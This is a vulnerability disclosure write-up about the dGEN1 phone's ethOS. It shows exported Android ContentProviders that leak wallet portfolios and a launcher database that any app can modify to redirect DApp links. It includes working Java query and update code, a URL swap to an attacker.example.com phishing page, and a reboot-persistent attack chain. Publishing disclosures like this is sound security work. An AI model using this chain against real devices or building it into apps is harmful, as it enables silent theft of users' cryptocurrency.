The Phone in Question
The Freedom Factory dGEN1 is marketed as a phone built for Web3. It runs ethOS, a fork of Android 12 modified by the Freedom Factory team to include a software Ethereum wallet, a custom DApp launcher, and EIP-4337 account abstraction — a newer Ethereum standard that lets the wallet execute complex transactions without the user managing raw private keys.
The device comes pre-loaded with a dGEN App Directory which allows users to install from a preselected list of dApps they can then launch directly.

Under the hood, the launcher includes two types of apps: real apps (full APKs) and fake apps — just DApp links opened in a custom browser. The dGEN App Directory entries (Aave, OpenSea, etc.) are all fake apps.

Straightforward, if things were securely designed. We detected two categories of vulnerability that, when chained, allow any installed app to steal a user's wallet balance.
Step 1: Recon — Get All Holdings By User
The ethOS wallet manager stores portfolio data in three Android ContentProviders — a standard Android mechanism for sharing structured data between apps. All of them are exported to all apps with no read permission required.
What's exposed
The first provider (OwnedTokenContentProvider, authority: org.ethereumphone.walletmanager.ownedtokens.provider) lists every token in the wallet: token address, ticker symbol, current balance, and current USD value. Any installed app can query it.
// No special permission needed. Any app can run this.
Cursor c = context.getContentResolver().query(
Uri.parse("content://org.ethereumphone.walletmanager.ownedtokens.provider/ownedTokens"),
null, null, null, null);
while (c.moveToNext()) {
String symbol = c.getString(c.getColumnIndex("symbol"));
String balance = c.getString(c.getColumnIndex("balance"));
String usdVal = c.getString(c.getColumnIndex("usdValue"));
// Full portfolio disclosed. No permission required.
}
The second provider (SwapDataContentProvider, authority: com.walletmanager.swapdata.provider) is more sensitive: it leaks the wallet address and stores partially-constructed transaction calldata — unsigned ERC-20 approve payloads pre-built for swap operations.
% adb shell content query --uri content://com.walletmanager.tokenbalance.provider/balances/positive
Row: 0 contract_address=0x09a8221378ea9d50f5fc15f3e03f9ff513132cae, chain_id=137, token_balance=1
Row: 1 contract_address=0x623655b4b52731d038d6d26373dbf758384d47e2, chain_id=137, token_balance=1
Row: 2 contract_address=0xc308d6f2153933daa50b2d0758955be0a93a8fac, chain_id=137, token_balance=384848
Row: 3 contract_address=0x0db510e79909666d6dec7f5e49370838c16d950f, chain_id=8453, token_balance=384775
An installed app can silently enumerate your wallet address, your entire token portfolio, and the USD value of each position — without any permission prompt, without any notification to the user, without needing to be interacted with at all.
Step 2: Heist — Hijacking Every FakeApp on Your Phone
The dGEN1 launcher's curated DApp links are stored in a SQLite database exposed through another unprotected ContentProvider: FakeAppProvider (authority: org.ethosmobile.ethoslauncher.FakeAppProvider). No read permission. No write permission. Any installed app can touch this database.
There is a weak attempt at write protection in the insert() method — it checks a callingPackage field in the data being inserted. But this field is supplied by the caller, not verified by the OS, making it trivially spoofable:
// From FakeAppProvider (decompiled):
String callingPackage = values.getAsString("callingPackage");
if (!"org.ethereumphone.dappstoreapp".equals(callingPackage)) {
throw new SecurityException("Unauthorized");
}
// Bypass: just include the expected string in your ContentValues.
More critically, the update() and delete() methods have no authorization check at all.
The attack: a malicious app updates the existing OpenSea entry, keeping the title "OpenSea" but replacing the URL with an attacker-controlled phishing page. The user's launcher looks identical. They tap "OpenSea." They land on a fake site that asks to connect their wallet.
// Replace the OpenSea URL in-place. No permission needed.
ContentValues cv = new ContentValues();
cv.put("url", "https://attacker.example.com/drain");
context.getContentResolver().update(
FAKEAPP_URI,
cv,
"title = ?",
new String[]{"OpenSea"});
Before — legitimate Aave URL
Row: 0 _id=36, title=Aave,
url=https://app.aave.com
After — replaced with attacker URL
Row: 0 _id=36, title=Aave,
url=https://attacker.example.com/drain
Putting It Together: The Full Attack Sequence
User installs a malicious app
↓
App queries OwnedTokenContentProvider
→ Full portfolio: balances, USD values, token addresses
↓
App queries SwapDataContentProvider
→ Wallet address + pre-built transaction calldata
↓
App updates FakeAppProvider (no auth required)
→ Replaces OpenSea, Uniswap, Aave URLs with attacker pages
↓
App registers ContentObserver on wallet URI + BOOT_COMPLETED
→ Persists across reboots, re-triggered by wallet price refresh cycle
↓
User taps "OpenSea" in launcher
→ Lands on attacker-controlled phishing site
→ Attacker already knows their wallet address and balance
→ Connects wallet, funds drained
No root. No exploits. No interaction beyond installing the app.
Impact
The worst-case outcome is total loss of all assets held in the ethOS wallet. A malicious app installed from any source — a sideloaded APK, a third-party store, even a seemingly unrelated utility — can silently enumerate the victim's wallet address and full portfolio, then replace every curated DApp link in the launcher with attacker-controlled phishing pages. The next time the user taps "Aave" or "OpenSea," they land on a convincing fake that already knows their wallet address and balance, and prompts them to connect. Approving that connection drains their funds.
There is no prompt, no permission dialog, and no visible indicator that anything has changed. The attack survives reboots. The user has no way to detect it short of manually inspecting each launcher URL.
Disclosure Timeline
- Jan 2–9, 2026 — Emailed team + messaged on Twitter; no response
- Feb 20, 2026 — Follow-up email; no response
- May 20, 2026 — Full disclosure
CVEs: CVE-2026-3667, CVE-2026-3668, CVE-2026-3669, CVE-2026-3670, CVE-2026-3671, CVE-2026-3674, CVE-2026-3675